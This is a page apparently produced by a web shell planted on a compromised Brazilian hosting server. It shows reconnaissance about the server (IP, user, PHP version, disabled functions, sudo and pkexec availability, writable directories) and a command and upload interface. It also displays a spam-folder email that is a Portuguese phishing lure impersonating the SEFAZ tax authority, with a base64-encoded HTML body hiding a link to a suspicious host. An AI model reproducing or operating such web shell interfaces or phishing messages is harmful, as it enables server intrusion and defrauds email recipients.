AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1740761945.M466744P21702.dedi-4363141.lrsys.com.br,S=8830,W=8980
Return-Path: <notificacao57@concordia622tp.auditoria.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id mAKLG1nrwWfGVAAAIWsJAg
	(envelope-from <notificacao57@concordia622tp.auditoria.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 13:59:05 -0300
Return-path: <notificacao57@concordia622tp.auditoria.biz>
Envelope-to: cobrancas@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 13:59:05 -0300
Received: from concordia622tp.auditoria.biz ([178.156.136.16]:33718)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <notificacao57@concordia622tp.auditoria.biz>)
	id 1to3hV-0005eq-2R
	for cobrancas@lrsys.com.br;
	Fri, 28 Feb 2025 13:59:05 -0300
Received: from concordia622tp.auditoria.biz (localhost [127.0.0.1])
	by concordia622tp.auditoria.biz (Postfix) with ESMTP id 2C5AC2358A
	for <cobrancas@lrsys.com.br>; Fri, 28 Feb 2025 13:58:20 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=concordia622tp.auditoria.biz; s=default; t=1740761900;
	bh=EnPGgj9oXatdYvOXjbjqbFeVVRxyfCUDz8Uj5wDEMsw=;
	h=From:To:Reply-To:Date:Subject:From;
	b=BKqOM5aHGIVQm4OJ+0s9aeebLNV5iSsELkOsUTKQxRR94YXgNo+NSWg3V+YPZCtcX
	 Ol6nPCBCJgEEiZ+Hh2Aj7/UbtYp3ZT3p1TnLfJgbiaFy4a+ZSqe1n06Jih0n5QiSEg
	 +mU8fkew4YuwTmIKAwKybrSF3k7p376rghE27JtQ9JJEN0S6JotRrdcPwwaOkQVikI
	 0/RvGu9PtyB8LXlR4a1tOjwynDMee1KnooImuEl4cY6UqeFYkQm52fQUfc8tSAAVH2
	 RgQHzs4Z7xPBJhGskpu3znWat4GELVXCXIaH5GIzGmPw4L/65rQVesGtNEBQEnP+1H
	 kg1wpNKk5+DjA==
From: "638 - Escritorio" <notificacao57@concordia622tp.auditoria.biz>
To: cobrancas@lrsys.com.br
Content-Type: multipart/alternative; boundary="ZR97mwa1bqX=_sWXMmNJMo9J4uxkgOdZ4E"
MIME-Version: 1.0
Reply-To: d26@concordia622tp.auditoria.biz
Date: Fri, 28 Feb 2025 13:58:20 -0300
Message-Id: <20250228165820.2C5AC2358A@concordia622tp.auditoria.biz>
X-Spam-Status: Yes, score=10.2
X-Spam-Score: 102
X-Spam-Bar: ++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Prezado(a),cobrancas@lrsys.com.br
    Confirmamos o recebimento do protocolo 341225139 referente à Baixa de Débitos.
    O documento foi registrado com sucesso pela SEFAZ-DFAZ-CTDA - Tributação
    e Dívida Ativa na data de 28/02/2025. 
 Content analysis details:   (10.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: auditoria.biz]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: auditoria.biz]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [178.156.136.16 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [178.156.136.16 listed in bl.score.senderscore.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  41597165 - Protocolo 341225139 - SEFAZ Confirma Recebimento

This is a multi-part message in MIME format

--ZR97mwa1bqX=_sWXMmNJMo9J4uxkgOdZ4E
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--ZR97mwa1bqX=_sWXMmNJMo9J4uxkgOdZ4E
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KPGhlYWQ+CiAgICA8bWV0YSBjaGFy
c2V0PSJ1dGYtOCI+CjwvaGVhZD4KPGJvZHkgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fu
cy1zZXJpZjsgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmNDsgcGFkZGluZzogMjBweDsgdGV4dC1h
bGlnbjogY2VudGVyOyI+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIHN0eWxlPSJtYXgtd2lk
dGg6IDYwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmZmZmY7IHBhZGRpbmc6IDI2
cHg7IGJvcmRlci1yYWRpdXM6IDhweDsgYm94LXNoYWRvdzogMCAwIDExcHggcmdiYSgwLCAwLCAw
LCAwLjEpOyI+CiAgCiAgICAgICAgPHRhYmxlIHN0eWxlPSJ3aWR0aDogMTAwJTsgZm9udC1mYW1p
bHk6ICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt
c2l6ZTogMTRweDsgYmFja2dyb3VuZDogI2ZmZmZmZjsgYm9yZGVyLXJhZGl1czogNXB4OyI+CiAg
ICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAg
ICA8dGQgc3R5bGU9InBhZGRpbmc6IDIwcHg7IHRleHQtYWxpZ246IGxlZnQ7IGNvbG9yOiAjMDAw
MDA5OyI+CiAgICAgICAgICAgICAgICAgICAgICAgIFByZXphZG8oYSksPHNwYW4gc3R5bGU9InBh
ZGRpbmc6IDBweDsgdGV4dC1hbGlnbjogbGVmdDsgY29sb3I6ICNGRjAwMDA7Ij5jb2JyYW5jYXNA
bHJzeXMuY29tLmJyPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8cD5Db25maXJtYW1v
cyBvIHJlY2ViaW1lbnRvIGRvIHByb3RvY29sbyA8c3Ryb25nPjM0MTIyNTEzOTwvc3Ryb25nPiBy
ZWZlcmVudGUgJiMyMjQ7IDxzdHJvbmc+QmFpeGEgZGUgRCYjMjMzO2JpdG9zPC9zdHJvbmc+LiBP
IGRvY3VtZW50byBmb2kgcmVnaXN0cmFkbyBjb20gc3VjZXNzbyBwZWxhIDxzdHJvbmc+U0VGQVot
REZBWi1DVERBIC0gVHJpYnV0YSYjMjMxOyYjMjI3O28gZSBEJiMyMzc7dmlkYSBBdGl2YTwvc3Ry
b25nPiBuYSBkYXRhIGRlIDxzdHJvbmc+MjgvMDIvMjAyNTwvc3Ryb25nPi48L3A+CgogICAgICAg
ICAgICAgICAgICAgICAgICA8cD5QYXJhIGFjb21wYW5oYXIgbyBhbmRhbWVudG8gZG8gc2V1IHBy
b2Nlc3NvLCBhY2Vzc2UgbyBkb2N1bWVudG8gYWJhaXhvOjwvcD4KCiAgICAgICAgICAgICAgICAg
ICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbjogMjBweCAwOyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImhUVHBTOi8vNzQtNTAtMTI3LTQ5
LnN0YXRpYy5odnZjLnVzL0MwOTRzcURNOTRNdi9JRHZndkY0czNGcUQzSzIvYnJ0Umh1am9ESUpB
ZWtmRWRsaHAvMzI4NzkwMzNfUmVjZWJpZG9fU0VGQVpfX19SUiIgdGFyZ2V0PSJfYmxhbmsiIHJl
bD0ibm9yZWZlcnJlciIgIGRhdGEtYXV0aD0iTm90QXBwbGljYWJsZSIgc3R5bGU9ImZvbnQtc2l6
ZTogMTRweDsgY29sb3I6ICNmZmY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgZm9udC13ZWlnaHQ6
IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBib3JkZXIt
cmFkaXVzOiA0cHg7IGJhY2tncm91bmQ6ICMxNDQzMDI7IHBhZGRpbmc6IDEwcHggMjBweDsiPgog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFjb21wYW5oYXIgUHJvY2Vzc28KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+
CgogICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6ICMwMDAwMDc7IGZvbnQt
c2l6ZTogMTJweDsgdGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8ZW0+RXN0YSBtZW5zYWdlbSBmb2kgZ2VyYWRhIGF1dG9tYXRpY2FtZW50ZS4gQ2FzbyB0
ZW5oYSBkJiMyNTA7dmlkYXMsIGVudHJlIGVtIGNvbnRhdG8gY29tIG5vc3NvIHN1cG9ydGUuPC9l
bT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgICAgICAgICAgICAg
PHAgc3R5bGU9ImNvbG9yOiAjMDAwMDA5OyBmb250LXNpemU6IDEycHg7IHRleHQtYWxpZ246IGNl
bnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGVtPkVudmlhZG8gJiMyMjQ7cyAx
Mzo1ODoyMDwvZW0+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAg
ICAgICA8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90Ym9keT4KICAg
ICAgICA8L3RhYmxlPgogICAgPC9kaXY+Cgo8L2JvZHk+Cgo8L2h0bWw+Cg==

--ZR97mwa1bqX=_sWXMmNJMo9J4uxkgOdZ4E--


Anon7 - 2022
AnonSec Team